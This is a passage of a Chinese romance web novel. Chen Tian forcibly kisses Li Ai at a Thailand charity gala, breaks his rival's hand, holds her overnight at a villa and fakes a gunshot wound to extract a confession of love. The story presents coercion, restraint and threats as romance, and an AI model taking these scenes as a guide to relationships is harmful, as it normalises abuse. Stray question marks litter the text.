很有?眼力见的把空间?让出来。 “走吧,黎黎。”陈其允朝她伸出手。 黎艾瞥一眼,双手提起?裙子就往前走,“演戏也要到了片场再演。” 陈其允笑笑收回手, “好。” 下楼, 车子就侯在门口,后座车门已经拉开。 黎艾坐上去, 陈其允绕到另一边上车。 从?这儿到慈善晚会地点需要半个小?时车程,这半个小?时里,陈其允一直把黎艾看着。 她实在漂亮, 绝不会产生审美疲劳的那种漂亮, 明明是浓颜,但不管多华丽的衣服穿在她身上都?不会显得物欲横流, 永远能?让人感受到她骨子里透出来的清冷与?独立,这样?的气?质令她不论如何改变妆容,都?始终美得毫不庸俗,而皮相上稍稍的一点改变又总能?让人眼前一新?,怎么都?看不腻。 黎艾对于他?的视线并不在意,全当他?是空气?,在娱乐圈这么多年,她早习惯了被人一直注视,只有?一个人的注视她难以抵抗,陈其允又不是那个人。 晚会在一处庄园内举行,车子将?他?们送到了宴会厅的门口。 陈其允先一步下车,从?车尾绕到另一边,为?黎艾拉开车门,很贴心的用手放在车门上沿,以免她撞到头,另一只手朝她伸过去,做她的扶手。 彼时,旁边一辆车上也下来一个男人,身高腿长,没有?穿正式的西装,上衣就一件丝质黑衬衫,领口敞着,随意又慵懒,气?质却矜贵又落拓,气?场强大,仿佛天生就是世界的主角,他?一出现,在场几乎所有?人的目光都?落在了他?身上。 黎艾也一样?。 她看向他?。 他?也看着她,眉尾轻挑着。 像山火遇上暴雨天,不知道谁更烈一些,也不知道接下来,谁会更胜一筹。 两人用眼神对峙着,时间?仿佛定格,然而两人的对视其实仅仅只维持了一秒。 黎艾收回视线,双眸低垂看向陈其允朝她伸过来的手,抬起?胳膊将?手放入他?掌心。 陈其允轻笑,牵着她从?车里出来,再极自然地搂过她那盈盈可握的纤腰,带着她往宴会厅里走。 两人站在一块儿,俨然是一对十足般配的壁人。 陈添的目光由黎艾今日妆容精致的脸,落到她腰间?那只碍眼的手上。 想把那只手折断—— 这是他?此刻唯一的心情。 即便明知他?们在演戏,他?还是不爽,非常不爽。 他?在原地站着看向前面?两人贴在一起?的背影,过了好一会儿才迈开步子跟进去。 这场慈善晚会是晚宴与?慈善拍卖会相结合的形式,来宾可一边享用丰盛的餐宴,一边进行竞拍,本次的竞拍品除了举办方提供的一部分,另一部分是由参与?晚宴的贵宾所捐赠,只有?这部分贵宾才能?坐最前排两桌的席位,陈其允带着黎艾在其中一桌坐下来。 不管是菜肴、桌椅材质还是餐具,前两桌与?其他?都?有?明显区别。 这群富人连搞慈善都?要弄个三六九等。 落座没一会儿,原本坐在黎艾右侧的一名女士起?身离开,接着,一道阴影罩下来,黎艾愣了下。 光是看落在她身上的影子,她竟都?能?分辨出对方是谁—— 他?连影子都?是好看的。 黎艾转头,看见陈添在她旁边的座位坐下来。 “这里有?人了。”黎艾冷声提醒他?。 “你是说那位女士吗?”陈添用下巴指了个方向。 黎艾顺着他?指的方向望过去,看见刚刚那名女士坐到了隔壁那桌,刚刚她特意挑的这个位置,就是怕陈添坐到她旁边来,结果陈添竟然预判了她的预判。 “换个位置。”黎艾转头对陈其允说。 说完,她起?身,却被人拽着胳膊强行压回去。 “就坐这儿。” 陈添声音里透着不可抗拒的强势。 黎艾深吸了口气?,像是知道他?会来这一出。 “陈添你适可而止。”这话,是陈其允说的。 “我凭什么适可而止?”陈添理直气?壮。 黎艾也是料到了他会这么说,论强词夺理,谁比得过他?陈添。 “黎黎是我女朋友,你这是骚扰。” 陈其允还试图跟他?将?道理,倒也不算讲道理,更像讲法律,那就更是撞上陈添的专业了。 “那你报警抓我啊。”某人很不要脸地说。 “你说的。”陈其允似乎准备再送他?回牢里练练拳头。 “反正都?是猥亵罪,那不亲一下岂不是亏了?” 陈添说着用力将?黎艾往他?那边拽。 “陈添!”陈其允怒喝一声,伸手拉住黎艾另一只胳膊。 在此之前,陈其允语气?一直还算平静,声音也不大,维持着他?素日里斯文绅士的作风。 不少人朝他?们三人这边望过来。 舞台的灯光也恰好在这时亮起?,并且灯光还未往里收,恰好打在他?们这里,像故事开场时的追光。 不管是灯光还是什么人的目光,陈添毫不在意,继续拽着黎艾的胳膊不松手,脸上勾出一个混不吝的笑,“还报警吗?” 陈其允正要回他?,被黎艾打断,“别吵了,我就坐这儿。” 两人虽然并没有?大声争吵,但左边一句右边一句的,黎艾还是觉得吵得慌。 两个男人先是看向她,再看向对方,眼神对峙片刻,两人同时松手。 黎艾用余光各自瞟了他?们一眼,觉着,他?俩要一直这么争,谁先出局她不知道,她很可能?先一步出殡,被他?俩扯成两半。 “Ladies and gentlemen……” 主持人的声音在这时响起?,灯光聚拢到舞台。 宾客已经陆陆续续入座,慈善拍卖会正式开始。 黎艾对珠宝文玩什么的不感兴趣,这些东西,一旦感兴趣就会生出无尽的欲望,可没人不喜欢漂亮的东西,所以她尽量不去接触,像这次,即便舞台上的大屏投放着拍卖品的高清照片,几乎是把东西送她眼皮子底下来,她一心却只顾埋头吃着饭。 “尝尝这个。” 陈其允给黎艾夹了个泰国风味的菠萝冷拌蛤蜊,他?虽然只和黎艾一起?吃过一顿饭,但就那一次他?便看出了她喜欢甜辣口,觉着她应该会喜欢吃这道菜。 旁边的陈添看见,笑了声,极具嘲讽意味的那种笑,“作为?男朋友,竟然不知道女朋友对菠萝过敏吗?” 陈其允表情闪过一丝尴尬,“你对菠萝过敏?” “忘了告诉你,”黎艾很镇定地将?那个哈利夹起?来,笑着递到陈其允唇边,“你帮我吃掉吧。” 这下,陈添笑不出了。 看见他?的笑僵在脸上,换陈其允眼底笑意浮起?,双眸含笑地从?黎艾的筷子间?咬过那个蛤蜊。 有?些辣,很甜。 此时黎艾背对着陈添,看陈其允这茶里茶气?的笑,她翻了个白眼,然后才把身子回正,目光落回餐桌,在一道道菜肴上搜寻。 有?一盘不知是用什么鱼做的菜,看着很好吃的样?子,她抬手,正准备用筷子去夹,手里的筷子却不翼而飞—— 被陈添一把抢了过去。 下一秒,“啪”的一声,两只筷子被他?单手折断。 黎艾:“……” 侍应生很快给黎艾拿来一双新?筷子,黎艾瞪陈添一眼,接过新?筷子继续吃。 她胃口小?,吃不了多少东西,等她吃饱,还有?好些个竞拍品没进行拍卖。 这时候她还是没去看舞台,单手支着腮发呆,但因为?有?道难以忽视的视线一直落在她身上,让她发个呆都?没法专心,只能?拿出手机玩起?并不怎么感兴趣的小?游戏转移注意力。 拍卖快结束时,不知道怎么回事,她忽然一阵腹痛,有?点儿想拉肚子的感觉。 “我去趟卫生间?。”黎艾起?身,用眼神示意陈其允务必把陈添看住。 陈其允会意,轻拍了拍她的手背,“去吧。” 黎艾安心转身走向卫生间?。 到了卫生间?,她肚子又不疼了,算算日子,估计是姨妈要来了,遂只在卫生间?补了个妆。 出卫生间?时,她颇为?警惕地看了眼门口,总觉着陈添会出现在那里,好在,没人。 她松了口气?,拎着包往回走,却依旧没完全放松警惕。 到了宴会厅大门口,她这才彻底卸下防备,然而,就是这时候,她的手被人从?身后拉住。 她一惊,猛地回头,撞进一双漆黑深邃的眼,那双眼底带着明显心思不正的笑。 靠。 陈其允怎么这么不中用,还是让这人跑出来了。 “你觉得他?能?拦住我?”陈添知道她在想什么。 黎艾一边瞪着他?,一边在心里骂陈其允。 陈添俯下身,勾着唇对她说:“陈其允想在这儿拿你来气?我,那我也在这儿,拿你气?一气?他?。” 黎艾立马防备地往后退一步,“你想干嘛?” 陈添没有?立马回答,黎艾此刻能?听到的,只有?里面?主持人的声音:“There will be followed by a fireworks display, everyone please move outside to watch(接下来会有?烟花表演,请各位移步到室外观赏)。” 黎艾没注意主持人在说什么,紧盯着跟前的陈添,看见他?眸内浮起?一抹透着股坏劲的笑,“我要在大庭广之下,给他?戴顶绿帽。” 他?语音刚落,宴会厅的大门被拉开,黎艾被他?拉入怀。 在倾泻而出的光线与?数道齐齐望过来的目光里,他?低头,笑着吻住了她的双唇。 第53章 第 53 章 众目睽睽之下, 陈添的?吻重而?狠。 黎艾想反抗,可全身都被他?牢牢禁锢,连动?弹都动?弹不得。 她只能咬他?,但他?没有伸舌头, 去咬他?的?唇会像在迎合他?的?吻。 除了承受这个吻, 她什么都做不了。 最后是陈其允砸过?来的?一拳才让他?们分开。 陈添结结实实挨了这一拳, 陈其允是真?的?愤怒至极,不知道是因为陈添在大庭广众之下给他?戴了绿帽,还是因为他?亲了黎艾, 下手不知道有多重,陈添脸上被砸到?的?地方几乎是立马就红了一片,他?怎么可能就这么白?白?挨打,一拳也抡到?陈其允脸上。 两个人?就这么打起来,打得不可开交。 因为从小把陈添当做全方位的?对手, 陈其允自然也学过?格斗,但陈添的?格斗水准是世界级的?,他?怎么可能打得过?,没多久就被陈添撂倒在地。 这是两人?第?一次打架, 陈添猜到?他?会动?手, 但没想到?他?会这么不顾死活地跟他?缠斗,像完全失去了理智。 赢了他?那么多次, 陈添还是第?一次见他?这么失态。 做了这么多年的?对手,陈添对陈其允的?了解不比任何?人?少,知道陈其允有多好面子, 自尊心有多强, 他?但凡有一点理智,在他?回了他?一拳时, 他?就该停手,从前?的?他?,绝不会允许自己如此狼狈。 陈添看着陈其允此刻的?表情,他?双目充血,整张脸涨得通红,额头上的?青筋都暴了出来,眼?神像恨不得将他?碎尸万段,看不出以?往任何?一点斯文儒雅的?样子,虽然陈添一直很清楚,他?的?斯文从来都是装出来的?,但装了这么多年,那些特性会渗进他?的?骨子,成?为一种本能。 今天他?违背了自己的?本能,只因为他?让他?丢了脸? 怎么可能? 在今天之前?,他?以?为陈其允和黎艾只是演戏,但现在看来,陈其允不像是演的?。 脑海里?浮现出陈其允搂着黎艾的?那一幕,现在,再?看向他?碰黎艾的?那只手,陈添愈发觉得碍眼?。 伴随“咔”的?一声脆响,陈其允的?手被陈添折断。 “陈添!”本来只打算隔岸观火的?黎艾大喊一声,冲过?去,将陈添推开,冲他?怒吼,“你他?妈疯了吗?!” “不是早疯了?” 黎艾不想跟他?多说,弯腰准备将陈其允扶起来,头顶却落下一个冷戾的?声音 “你敢扶他?试试,你敢扶,我?再?让他?折一只手。” 黎艾的?动?作僵住,她知道他?不是说说而?已。 她抬头看向他?,眼?底充满了陌生感,他?之前?还跟她说,他?没那么暴力,现在算什么? 两人?对峙间,陈其允自己站了起来。 余光瞥见他?,黎艾有些恨铁不成?钢地睨了他?一眼?,“你的?人?呢?” “被他?的?人?拦着。” 今天陈添带的?人?,数量比他?的?要多得多,不然他?早出来了。 黎艾也是觉得蛮无语的?,在自己的?地盘还能被人?用人?数压制,明知道陈添要来,他?就不能多带点儿人?? 估计,他?还是把陈添想得太规矩了,陈添已经不是以?前?那个做事绝不脏自己手的?人?,现在他?似乎什么都干得出来。 “聊完了吗?”陈添开口。 “关你屁事。”黎艾啐他?。 “聊完了就跟我?走。” 说着,他?也不管黎艾愿不愿意跟他?走,拽着人?就往外走。 陈其允想去拉她,却被人?将手按下去,陈添的?人?从他?冲过?来的?时候就跟了过?来。 “陈添!”他?怒吼一声。 陈添停下来,回头时不忘用力搂住黎艾,让她动?弹不得,乖乖待在他?怀里?。 “怎么?”陈添眼?底透出一抹蔑色,“要让你的?森萨长官来抓我?吗?” 陈其允冷冷盯着他?,没往下接。 陈添搂着黎艾转身,笑着放出狠话:“你再?敢让政府的?人?滥用职权,我?立刻就能让你滚出陈家。” 刚来时,是他?偏要单刀赴会才会被弄进监狱,现在这个宴会厅里?他?的?人?更多,想混淆视听再?把他?送进去,做梦。 陈其允没有退让,自尊心不允许,那颗为黎艾跳动?的?心也不允许,他?紧盯着陈添开口:“黎艾现在已经不是你女?朋友,你强吻她,犯法,我?报警让警察抓你,算什么滥用职权?” “那你报警试试。” 要报警也是黎艾报,就算黎艾报了警,还需要把他?告上法庭才能定他?的?罪,亲个嘴不会立马被刑拘,打架倒是可以?直接拘留,但先动?手的?可是他?陈其允。 陈添不准备再?跟他?废话,拉着黎艾继续往外走。 陈其允想追,但被人?死死拦住,他?一个手都断了的?人?,只能眼睁睁看着陈添把黎艾带走。 “陈添!”黎艾当然不会乖乖跟他?走,不停挣扎着,“你发什么疯!” “再?看着你在外面勾男人?,我?才真的要发疯。”陈添语气平静,却更有一种疯感。 “你这是绑架!” “那你报警。” “报警就报警。”黎艾拿出手机,手指停在拨号键上却迟迟没按下去。 泰国报警电话是多少? 她不知道啊。 现在用浏览器搜? 但陈添看着啊。 被他?看着搜报警电话,那未免也太尴尬。 “知道报警电话多少吗?”她动?根指头陈添都像知道她在想什么,他?笑了声,又?问她,“会说泰语吗?知道绑架什么定义吗?” 黎艾:…… “要拉拉扯扯就算绑架,警察别想有一分钟闲着了,”陈添声音里?的?笑意越来越浓,听得人?心头微酥,“带你去看星星,算什么绑架?” 黎艾一愣。 看星星? 陈添停下来,侧头,倾身靠过?来一些,让人?能清晰看到?他?眼?底如同星子般掠起的?光,晚风掀起他?的?发,再?将带着他?低沉好听的?声音缓缓送入她耳中: “今晚有流星雨,我?们去许个愿吧。” 那一瞬间,黎艾感觉胸腔下的?心脏好像不再?属于她,是为了他?才跳动?,也只为他?失控。 如此轻易便失控。 只需要他?对她轻笑。 她需要不断深呼吸,才能从失控的?心跳声里?找回一丝理智。 “谁要跟你看。”黎艾习惯性将头扭到?一边。 “你啊。” 心头又?是一动?。 呼吸都跟着心跳变得急促。 “你放开我?,我?不去。” “不放。” 他?不但不放,还忽的?将她横抱起来,抱着她走向停机坪。 最适合看流星的?地方肯定是在山上,那当然是坐直升机去比较快。 黎艾被他?抱着上了直升机,机舱门关上,这下她怎么也跑不了,陈添松开她,拿过?一旁的?防噪耳机想为她戴上,被她一把夺过?。 她自己戴。 戴好耳机,黎艾缩到?窗边,整个飞行途中都没看陈添一眼?。 陈添全程都看着她。 直升机停在一处观景台,不知是专门修建来看流星的?还是看用来眺望整座城市。 下了直升机,黎艾第?一眼?看到?的?是整座如同浮在光晕里?的?城市,像天上的?星光一颗一颗落在了大地间,即便这里?看不到?流星,并肩站在这里?看夜景已然是一件很浪漫的?事。 这儿在山上,除了这处观景台,四处一片漆黑,跑是没法跑的?,也没法跟路人?呼救,黎艾不打算做徒劳的?挣扎,还先一步走到?观景台的?边缘,靠着围栏看向远处的?夜景。 旁边亮着一盏灯,陈添走过?来,刚好为她遮住了在黑夜里?有些刺眼?的?灯光,他?的?影子完完全全将她笼罩,像一张网,她怎么也挣脱不了的?网。 肩膀上忽然一重,他?为她披上了件衣服。 这里?风大,只穿一件礼服,她一定会着凉。 黎艾没有拒绝这件衣服,伸手拢了拢,喉咙吞咽两番,尽量让开口的?声音显得凉薄冰冷,“流星雨什么时候来?” “快了。” “看完赶紧送我?回去。” “怎么可能。” 黎艾睁大眼?转头,“你什么意思?” “你觉得我?会那么轻易放你回去?”陈添低头冲她笑。 “陈添,”黎艾深吸一口气,“我?不知道绑架的?具体定义,但我?知道什么是非法限制人?身自由。” “限制人?身自由也要超过?一定时间才违法,”陈添稍稍挑起一点眉尾,“知道是多少时间吗?” “24小时……”黎艾的?声音没了刚刚的?底气。 “现在才多久?” 黎艾不吭声了。 陈添笑起来,“放心,我?一定在最后一个小时里?解除你的?人?身自由限制。” 他?故意加重了‘最后一个小时’这六个字的?语气。 黎艾狠狠瞪他?一眼?。 “别看我?了,小心错过?流星雨。”陈添这么说着,目光却丝毫没有要移开的?意思。 “谁愿意看你。”黎艾冷哼一声,转头看向天际。 恰好,就是这时候,流星雨降临。 一道道亮光划破夜空,如同神明用光绘出的?轨迹。 看着这一幕,黎艾双眼?不自觉睁大,像被震撼到?失了神。 “笨蛋,闭眼?。” 带笑的?嗓音入耳,黎艾这才回神,忙忙闭眼?,向流星许愿。 那么多颗流星,她却只有一个愿望—— 希望陈添能放下我?,找到?另一个和他?很相爱的?女?孩,一起生下一个可爱的?宝宝,幸福美满地过?完这一生。 愿望许完,天边的?流星雨也都没入了地平线,消失在黑夜里?。 黎艾缓缓睁开眼?,听到?耳边落下一道声音: “我?猜,你许的?愿望跟我?相反。” 黎艾微微一怔,转头看向他?。 陈添轻歪了歪头,“你说老天会更偏向谁?” “当然是我?。” “是吗?” 陈添缓缓笑起来,像已然窥见结局,那个他?想要的?结局。 第54章 第 54 章 “流星看完了, 然后?呢?” “你想做什么??”陈添问。 黎艾拢了拢身上的衣服,脸别到一边打了个哈欠,“我想回去睡觉。” “回去就别想了,至于睡觉……”陈添将尾腔拉长, 语气?格外意味深长。 黎艾眼?神立马变得警惕, “陈添你想干嘛?” 陈添伸手拉住她胳膊迈开步子, 笑?得明显心思不正,“带你去睡觉。” 黎艾当然不肯走,赶紧改口:“我不想睡了, 我要通宵!” “不行,熬夜伤身体。” 比力气?,她哪儿比得过他,陈添轻轻松松就将她拉走,后?边觉得她实在闹腾的厉害, 还?直接把人?抱了起来。 被那双全是腱子肉的手箍着,黎艾只能扑腾着双腿大喊:“陈添!我他妈不睡!” 陈添却只笑?笑?,“别闹。” 他抱她上了直升机。 知道挣扎完全没有作用,黎艾放弃抵抗, 躺在他怀里闭着眼?睛装死。 陈添为她戴上防噪耳机, 在耳机里只有他们两个人?的频道跟她说:“刚刚还?说不睡,现在又要睡了?” 黎艾不搭理他, 继续装死。 接着,耳机里传来一阵沉沉的笑?声,震得人?胸腔微微酥麻, 这人?真的, 连笑?声都让人?难以抵抗。 飞机在半小时后?降落在一处郊外的私人?别墅。 大晚上的,黎艾看不清这别墅具体占地面积有多?大, 但光是主体建筑就不比陈其允那栋小,黎艾觉得陈添真的是钱多?烧得慌,他又不在泰国定居,弄一栋这么?大的别墅是要干嘛,不会是就为了好停直升机吧,真的逆天?。 下了直升机,陈添依旧没有要松手的打算。 黎艾觉得自己这会儿应该象征性挣扎两下,但反正结果都一样,她觉得不如继续装死来得省事。 陈添也不戳穿她,什么?也没说,径直带她去了房间,将她放到了床上。 感觉到背部接触到床面时,黎艾心里紧了一下。 她知道陈添不会对她做太出格的事,但保不齐这狗男人?又要强吻她,以他现在的疯批程度,亲她个一晚上这种事他不是做不出来。 “还?要装睡?”陈添都看到她把眼?睛悄悄眯开了一下,“不去洗洗?” “我不,”黎艾不装了,睁开眼?瞪着他,“一天?不洗臭不了,臭了更好,臭死你。” 陈添笑?笑?,“我不嫌弃你。” “我嫌弃你。” “都在床上了,你还?敢说这种难听?话?来惹我?”陈添单膝跪到床上来,俯身,侵略性的气?息逼近,声音里是明晃晃带着坏劲的调戏,“信不信剩下的二十?个小时我都用来强吻你?” 看吧! 她就知道! 黎艾快被他气?疯了。 陈添笑?着继续俯身,两人?之间的距离又近了些,“你乖一点,我就不亲你。” 黎艾真想扇他,狠狠挫着后?槽牙开口:“那请问,怎么?样算乖?” “乖乖去洗澡,然后?回来睡觉,衣服都给你准备好了,这次,”陈添唇角往上扬了几分,“内衣内裤我没忘。” 他好意思提这个? 黎艾眼?睛里几乎要喷出火来,“那你滚开。” 陈添直起身,收回那只跪在床上的腿,后?退一步,将地方让出来,“衣服在柜子最右边。” 黎艾冷着脸下床,拉开柜子,里面都是睡衣,男女款都有,黎艾拿了件挺厚实还?自带胸垫不会凸点的。 “内衣内裤在下面的抽屉里。” 黎艾只从抽屉拿了条内裤,这些内裤的款式还?算正常。 房间里就有浴室,黎艾进去把门反锁。 浴室里还?准备了卸妆品,显然陈添早就想把她绑过来,今天?就算她没提起睡觉这茬事,他估计也会带她来这儿。 黎艾边卸妆边在心里骂了他两句。 浴室里有浴缸,黎艾还?挺喜欢泡澡的,但她当然不会在这儿泡,两下冲了个快澡,穿上睡衣出去,换下来的内裤和乳贴她丢进了垃圾桶,还?用卸妆时的化妆棉盖住,不想让陈添看见。 拉开浴室的门,黎艾闻到一股淡淡的烟草味,陈添在抽烟。 她转头望过去,视线里,陈添正微仰着头冲她这边吐烟,白色烟雾上浮,遮不住那双半眯着含笑?的眼?。 黎艾只是淡淡扫过去一眼?,心却重重一跳。 深呼吸一口气?,她扭过头无视他,上床钻进被窝,把自己捂得严严实实,要不是被子里太闷,她想把整个脸也捂住,省得陈添做出些禽兽行为。 陈添将还剩半截的烟摁进烟灰缸,朝床这边走过来,停在床头。 他视力极好,不用凑很近就能看到黎艾脸上的每一处细节,那一根一根纤长卷翘的睫毛,被睫毛挂住的几丝头发,脸庞边缘被灯光染成浅金色的细绒毛,唇间的纹路也都看得极为清晰。 她的唇形很好看,饱满又不失纤薄的线条感,唇色是樱粉色,像含苞的花一样柔嫩,让人看一眼便挪不开,口干舌燥,特想上去咬一口,极重的那种咬,但又不舍得她疼,那就只好…… 陈添眼神暗了暗,半晌,他倾身,单手撑床,吻向了那双唇。 在他用手撑床时,黎艾以为他是坐到了床上,正欲翻身朝向另一面,不料却刚好将双唇送到了他面前?。 猝不及防的一个吻,黎艾猛地睁开双眸,看到陈添染了情与欲的眉眼?。 那样的他,太令人?心旌摇曳,她愣了一瞬,被男人?趁机深吻。 理智尚存,她用力去推上方的男人?,推不动,男人?还?顺势擒住她的手腕,将她双手举过头顶,将她压在床上继续吻。 他吻得很用力,但没有将舌抵进她唇齿,大概是知道会被咬,还?是毫不留情那种,所以他只能将无法餍足的渴求宣泄在她的唇上,又含又吮,不时还?咬上一口。 两人?的呼吸缠在一起,温度如沸水滚烫,像氧气?都被蒸发般缺氧,黎艾感觉大脑一片空白,又像氧气?浓度过于饱和般醉氧,被他吻得晕乎乎的,身子像陷在云里,都忘了要咬回去,等她记起来,对方却先一步察觉,她咬了个空。 “想咬我?”陈添挑唇。 黎艾没心思回答他这调情似的问题,两只冒着火星子的眼?睛狠狠瞪着他,“陈添!你才他妈说了什么?!” “你太乖了,忍不住,”陈添笑?得挺浑的,“就亲这一下。” 黎艾想骂他,破口大骂,但嘴张开片刻却又合上。 他已经够爽了,她才不想让他更爽。 这个人?什么?奇葩癖好,靠! 陈添看着她被吻得一片水光的红唇,眼?神又暗了暗。 “两下。”他忽然又说了句。 接着,在黎艾还?没反应过来时,他又压了下来。 这一次,黎艾心头闪过一个说什么?也要咬死他的念头,但这是个一触即离的轻吻,她还?没来得及动作,陈添已经离开了她的双唇。 “最后?一下。”陈添作势要再次俯身。 “陈添!” 陈添停在半空,胸腔里震出沉沉笑?声。 逗她的,像逗弄一直猫那样,他的猫脾气?很爆,炸毛了。 “好了,”他松手轻拍了拍她的脑袋,“睡吧。” 语落,迎接他的是一记响亮的耳光。 黎艾是个断掌,扇人?特疼,但陈添还?是笑?着,“消气?了吗?消了气?就睡。” 看他竟然还?笑?得出来,而?且笑?容似乎更愉悦了一些,黎艾在心里暗骂了一声。 艹,这人?跟陈其允不愧是兄弟,都他妈受虐狂! 行,她不打了,也不骂他,她睡觉,眼?不见为净! 她两眼?一闭,拽着被子往另一边用力一翻。 这下,陈添只能看到一个气?腾腾的背影。 他轻笑?,只能看到她的背影也没关系,她在他身边就好。 窗外暮色昏昧,夜空里似乎又划过一颗流星- 和陈添在同?一间屋子,同?一张床上,黎艾很晚才睡着,是以醒得也很晚,第二天?下午两点才醒。 醒过来,第一眼?,她看到的是一双长腿。 意识是在一瞬间清醒的,她不用抬头就知道,此时这双腿的主人?正垂眸看着她。 她还?知道,他就这样靠着床头看了她一整夜。 一颗心忽然柔软得一塌糊涂,又在思及某件事后?一瞬变得冷硬。 “醒了就起来吃饭。” 上方传来男人?有些沙哑的嗓音,不知道是不是一夜没睡的缘由。 黎艾装睡,没回应。 下一秒,她被人?从被窝里捞起来,抱进了怀里。 她真的恨死了这人?一身使?不完的牛劲! 陈添抱着她去了卫生间,“刷牙。” 黎艾不想听?他的,但跟他在镜子里大眼?瞪小眼?的对视了会儿,她还?是拿过了牙刷,挤上牙膏,塞进嘴里,一脸世界赶紧毁灭的表情。 陈添笑?笑?,换单手抱她,也拿过牙刷,和她一起刷牙。 镜子里映着两个人?一起刷牙的画面,像一对腻歪得不行的情侣。 刷完牙,黎艾拿毛巾洗脸。 等她洗了脸准备把毛巾放回去,陈添轻轻颠了下她,“帮我擦把脸。” “没手啊?” 她不给他擦,陈添自然只能自食其力,用她用过那方毛巾。 黎艾看着,心里觉着怪暧昧。 洗漱完毕,陈添抱着黎艾下楼,将她放在餐桌旁的椅子上,“等你吃了饭我就送你回去。” 黎艾双手环胸,摆出架势,“你不送我回去我就不吃。” 现在离24小时还?剩几个小时,陈添自然并不想这么?早送她回去,但她要真的不吃饭,那就是一天?一夜都没吃东西了,他盯着她她,空气?安静了一会儿。 “得,上去换衣服吧,”陈添似乎叹了声,“祖宗。” 黎艾微怔了怔,朝他望过去。 他还?穿着昨晚在山上时套着的西装,外套是黑色,里面的衬衣也是黑色,显得整个人?气?场强大且冷厉,可?他此时望向她的眼?神,一点也不冷,像带着万分纵容。 黎艾慌乱地眨了眨眼?,将视线移开,默不作声地起身往楼上跑,逃也似的。 在楼上,她能穿的不光只有睡衣和内衣,衣帽间里有更多?的女装,都是她的尺码。 她是第一次来这里,但俨然,她是这里的女主人?。 黎艾在衣帽间里待了挺久,在这里,有种和陈添生活在中国时的感觉,她有些……留恋。 最后?她挑了件穿着很舒服的吊带长裙。 下楼,陈添已经安排好了送她的车,两个人?一同?上车。 这里离陈其允的住处很远,车还?开得很慢,明明几十?分钟能到达的路程,这车愣是开了快两个小时。 黎艾坐车坐得屁股都疼了,车一停她立马开门下车,陈添下车目送她时,她已经走出了好几步。 “黎艾。” 陈添在身后?喊她。 黎艾不想回头,还?加快了步子,但她还?是回了头,在一声枪响之后?。 “嘭——” 像是所有神经元在头颅里炸开,脑海只剩下大片大片的空白,她回头,完完全全出于本能。 眼?前?的画面里,陈添捂着左腹的位置,失力般靠着车厢慢慢滑下去,前?后?车上的人?纷纷夺门而?出向他奔去,她也朝他奔去。 “陈添!” 事情发生得太突然,她丧失了一切思考能力,只知道喊着他的名字拼命朝他奔去。 其他人?将他扶上了车,车座上全是从他伤口流出的血,他身上的黑色衬衫被血打湿,捂着伤口的那只手上也全是血。 虽然与他经历了绑架、枪战、挟持,黎艾却从未真的将这一幕与他联系在一起,整个人?大脑完全是混乱的,她不知道自己怎么?上的车,车又什么?时候关上。 窗外的街景倒退,黎艾眼?底的泪不停往下坠。 陈添抬手,似是想去为她擦眼?泪,但又不想手上的血弄脏了她,遂作罢,将手收回,有些无奈地苦笑?,“哭成这样,还?说不爱我。” 黎艾嗓子堵得厉害,一句话?也说不出,只能摇头。 “黎艾,”陈添声音低哑,“我好像被打中了胰腺,很可?能会死。” “你不会。”黎艾的声音也哑得不行,像吞了捧沙子。 不知是疼还?是怎么?,陈添靠着座椅长长叹了口气?,“看在我会死的份上,你能不能告诉我,你到底,爱不爱我?” “我爱你,”黎艾此刻无法去思考他如果活下来,她该怎么?去为今天?的话?辩驳,怕他没听?清,她还?重复了一遍,“我爱你!一直都爱你。” “原来你爱我啊。” 这话?,掺着笑?意,以及,似乎是出于得逞的愉悦。 陈添将捂住伤口的手拿开,脸上的痛苦一瞬间消失不见。 在他的衣服上有一个弹孔,但从弹孔望进去,看到的不是他的皮肤,是一层黑色面料,像是防弹衣。 黎艾:????他诈我? 【正文完】 第55章 第 55 章 “陈添, 你?不去演戏简直是内娱一大损失。”这话,黎艾完全?是挫着后槽牙说出的。 “不演这么一出,”陈添笑得如沐春风,“哪听得到你?说爱我??” 黎艾愤愤盯着他。 她没有像之前那样绞尽脑汁去辩驳刚刚的话, 没什么用。 “所以, ”陈添朝她靠过来, 问她,“你?到底为什么要跑?” 如果只是觉得他们?在一起?会毁了他的前程,甚至会害死他, 但她不和他回去,他更可能会死,因为这一点,他其实一直想不明白,她非要离开?他的决心在哪里。 对于黎艾来说, 既然亲口承认了爱他的事实,孩子的事,也没什么好捂着的了。 不生孩子是她的原则,也是她现在唯一有可能说服他放手的底牌, 之前一直不告诉他, 是觉得大概率说了也没用,换来的很可能只会是耗人心神的争吵, 为了她,他连性?命都可以放弃,何况是生孩子这件事, 但到了现在这地步, 她没有别的办法与借口了。 “陈添,我?可以告诉你?我?为什么要跑, 但在此之前,我?要先?问你?一个问题,你?必须如实回答。”黎艾说。 陈添微眯了眯眼,“你?问。” “你?想跟我?生孩子吗?” 陈添没有立刻回答,他静静看着她,似在思索,再?开?口,他抛出的也是一个问句:“你?不想生?” 黎艾一愣。 “现在是我?在问你?!”她强调,声音拔高了些。 陈添却还是没有回答,继续问着她,“因为你?不想生,但觉得我?很喜欢孩子,又?觉得我?会为了你?放弃生孩子,你?不希望我?为你?牺牲太多,所以才跑,是吗?” “是!” 出乎意料,黎艾很干脆的承认。 黎艾并不想以这样的方式承认,原本?,她想先?让他承认他很想和她生孩子,再?问他,是不是将生孩子这件事当做了人生的必选项才决定放弃前程娶她,然后告诉他,她不会生,以此来说服他,但他已经猜到她的想法,自然不会被她牵着鼻子走,说出她想要的回答。 “陈添,你?不要跟我?说什么有没有孩子你?都可以接受,我?知道你?有多喜欢小孩儿,你?连当兵的信念都是孩子,我?不信如果没有孩子,你?不会觉得遗憾,”黎艾情绪这会儿有些激动,胸口起?伏得厉害,“明明你?不跟我?在一起?,你?什么都可以拥有,你?和我?一块儿,就算我?们?不结婚,保住你?的前程和性?命,但你?也怎么都不会有孩子,我?……” 喉头酸楚得一阵阵痉挛,黎艾实在难以连贯的继续说下去,汹涌的情绪宛如开?闸的洪水漫上眼眶,她强忍着,眼泪还是落下来,“我?不想你?为我?牺牲那么多,我?也不想承受这份负担,你?没办法圆满,我?也内疚痛苦,这样不健康的关系到底有什么必要维持下去?” 黎艾越往下说,眼里的泪流得越凶,情绪逐渐失控,“你?为什么就是非要抓着我?不放?为什么!” “黎艾,”陈添握住她的肩膀,试图让她冷静,“你?冷静一点听我?说。” “你?又?要说什么?我?知道我?说不过你?,你?总有你?的道理,有些事不是一两句话就……我?……”黎艾也不知道自己?在说什么,“我?心里就难受,我?心里就是难受,你?不要……” “黎艾!” 陈添蓦地大喊一声,打断她以及失控到混乱的情绪。 黎艾抬起?被泪浸湿的长睫看向他,两行泪无声滚落。 